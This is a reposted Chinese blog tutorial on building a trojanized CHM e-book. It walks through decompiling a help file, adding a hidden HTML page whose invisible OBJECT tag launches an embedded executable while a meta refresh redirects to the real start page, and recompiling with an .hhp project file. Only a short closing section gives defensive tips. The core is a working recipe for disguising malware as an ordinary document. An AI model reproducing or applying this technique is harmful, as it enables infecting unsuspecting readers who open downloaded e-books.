CHM电子书木马制作全攻略

转载 2007年09月21日 21:48:00
说起CHM格式的电子书,可能无人不晓。有很大一部分电子图书都是使用CHM格式编译的。由于木马程序嵌入了电子书中,杀毒软件无法对其中存在的病毒等破坏性程序进行检查和清除。想知道这类电子书的制作方法吗?今天笔者就以实例形式和大家一道分析一下。
  Step1:要想制作一个完美的CHM木马,当然少不了电子书的制作工具。在这里我们选择微软自家的Microsoft HTML Help Workshop。
  当然了,作为木马程序的载体,一本CHM电子书是少不了的。本文演示所采用的是系统帮助文件中现成的windows.chm。
 
  Step2:首先运行windows.chm,在右侧的空白处点击右键菜单,进入"属性"页。记录下该电子文档的默认主页default.htm和标题栏文字Windows 2000两项信息。
 
  Step3:接下来需要制作一个可以让木马运行并且同时可以自动跳转到windows.chm默认主页的网页,例如cytkk.htm,源代码如下:
<HTML>
<HEAD>
<meta http-equiv="refresh" content="3;url='default.htm'">
</HEAD>
<BODY>
<OBJECT Width=0 Height=0 style="display:none;" TYPE="application/x-oleobje
ct" CODEBASE="灰色按钮克星.exe">
</OBJECT>
</BODY>
</HTML>
 
  代码注释:
  content="3是转向时间(单位为秒),可以根据木马程序的运行时间自行修改,建议不要超过5秒。其中的default.htm可以改为你用的电子书的默认主页名,灰色按钮克星.exe为木马程序名,你可以根据情况更改。
 
  Step4:运行HTML Help Workshop,选择文件菜单下的反编译项。接下来在反编译后的目录中可以看到windows.hhc(对应帮助文档左侧的"目录"项)和windows.hhk(对应帮助文档左侧的"索引"项)。
 
  Step5:现在要做的就是把木马程序复制到反编译后的目录中(本文中以插入灰色按钮克星.exe这款小软件为例),并在此目录下建立一个例如文件名为cytkk.hhp的文件(用记事本即可),代码如下:
[OPTIONS]
Compatibility=1.1 or later
Compiled file=windows.chm
Default Window=Main
Language=0x804 中文(中国)
[WINDOWS]
Main="Windows 2000","windows.hhc","windows.hhk","cytkk.htm",,,,,,0x420,150,0x104E,,0x0,0x0,,,,,0
[FILES]
cytkk.htm
 
  灰色按钮克星.exe
  代码注释:
  windows.chm可以改为你要生成的电子书名,而灰色按钮克星.exe则把它改为要嵌入的木马程序名,Main=后面改为在第一步时你得到的标题栏文字,windows.hhc及windows.hhk分别改为第三步得到的文件名。
 
  最后用HTML Help Workshop打开cytkk.hhp,点击"文件"→"编译",待提示完成后,就可以在目标目录中发现已经编译好的带有木马的电子书windows.chm了。
 
  高手传经:防之有道
  我们不可能对下载的每本书都进行反编译工作来加以检查,那是会累死人的。笔者建议大家在下载电子书籍时,尽量去知名网站下载。
       另外读者朋友们也可以修改本地安全属性,使CHM木马无法在本地运行木马程序,将注册表"HKEY_CURRENT_U
SER/Software/Microsoft/Windows/Current
Version/Internet Settings/Zones/0"下的1004项的值由原来十进制的0改为十六进制的3 

相关文章推荐

CHM电子书制作全攻略

  • 2009年05月02日 16:20
  • 1.05MB
  • 下载

扫描版电子书制作全攻略.txt

  • 2008年11月21日 09:30
  • 4KB
  • 下载

CHM文档编辑制作及电子书的相关问题 - txfast的日志 - 网易博客 http://txfast.blog.163.com/blog/static/40536042200832065417/

[转]开源软件是怎样赚钱的   《东邪西毒》.时间.对话 CHM文档编辑制作及电子书的相关问题   2008-04-02 00:06:05|  分类: 所谓的技...
  • lslyhj
  • lslyhj
  • 2014年05月09日 12:15
  • 470

利用MetaProducts Inquiry 制作离线版网页chm电子书

系统环境:windows 7 软件环境:MetaProducts Inquiry 、EasyChm 本次结果:chm电子书格式的离线版网页       近期由于要做个离线版网页的电子书,找了很多...
  • xcntime
  • xcntime
  • 2012年08月15日 11:25
  • 1360

iOS应用开发攻略 pdf电子书

尊敬的用户您好,由于该iOS应用开发攻略pdf书受百度网盘影响无法做公共分享,只能私密分享,有不到之处请多多谅解! 百度链接: http://pan.baidu.com/s/1xPovn   密...
  • kwworms
  • kwworms
  • 2013年12月13日 15:44
  • 2337

CHM_子_制作全攻略.rar

  • 2008年09月11日 16:15
  • 1.05MB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:CHM电子书木马制作全攻略
举报原因:
原因补充:

(最多只允许输入30个字)